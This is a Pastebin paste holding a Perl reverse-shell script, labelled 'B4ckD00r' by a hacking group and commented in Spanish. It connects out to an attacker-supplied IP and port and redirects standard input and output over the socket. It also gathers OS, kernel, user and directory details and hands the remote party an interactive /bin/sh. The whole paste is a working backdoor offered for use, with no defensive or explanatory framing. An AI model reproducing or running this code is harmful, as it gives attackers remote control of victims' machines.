Advertisement
Guest User

Untitled

a guest
Jan 19th, 2018
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.48 KB | None | 0 0
  1. #/usr/bin/perl
  2. use IO::Socket;
  3. use Term::ANSIColor qw(:constants);
  4.  
  5. $ARGX = @ARGV;
  6. if($ARGX != 2){
  7. print "\n";
  8. print BOLD YELLOW q(
  9. ********************************
  10. * B4ckD00r By D34D-T34M-H4CK *
  11. ************************************
  12. * Uso: perl back.pl Ipublic Port *
  13. ********************************
  14. );
  15. print BOLD GREEN"\n\n";
  16. exit(0);
  17. }
  18.  
  19. $host=$ARGV[0];
  20. $port=$ARGV[1];
  21. $shell="/bin/sh";
  22. use Socket;
  23.  
  24. print "\n-> Conectando con $host...";
  25.  
  26. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "No se Resolvio $host";
  27. connect(SOCKET, sockaddr_in($port, inet_aton($host))) || die "No se creo la conexion con $host\n\n";
  28.  
  29. print "\n-> Conexion Establecida\n\n";
  30.  
  31. open(STDIN, ">&SOCKET");
  32. open(STDOUT,">&SOCKET");
  33. open(STDERR,">&SOCKET");
  34.  
  35. my $so=`uname -s`;
  36. my $kernel=`uname -r`;
  37. my $permiso=`whoami`;
  38. my $directorio=`pwd`;
  39.  
  40. print BOLD YELLOW "\n\n MEN LO HAS LOGRADO CON EXITO.";
  41. print "\n YA ESTAS DENTRO DEL SISTEMA OK !!!";
  42. print BOLD BLUE "\n\n**************************\n";
  43. print BOLD WHITE "-> Sistema Operativo -> "; print BOLD RED "$so";
  44. print BOLD WHITE "-> Version del Kernel -> "; print BOLD RED "$kernel";
  45. print BOLD WHITE "-> Tu Grado de Permiso -> "; print BOLD RED "$permiso";
  46. print BOLD WHITE "-> Directodio -> "; print BOLD RED "$directorio";
  47. print BOLD BLUE "**************************\n\n";
  48. print BOLD GREEN"";
  49. system 'exec sh -i';
  50. system ($shell);
  51.  
  52. close SOCK;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement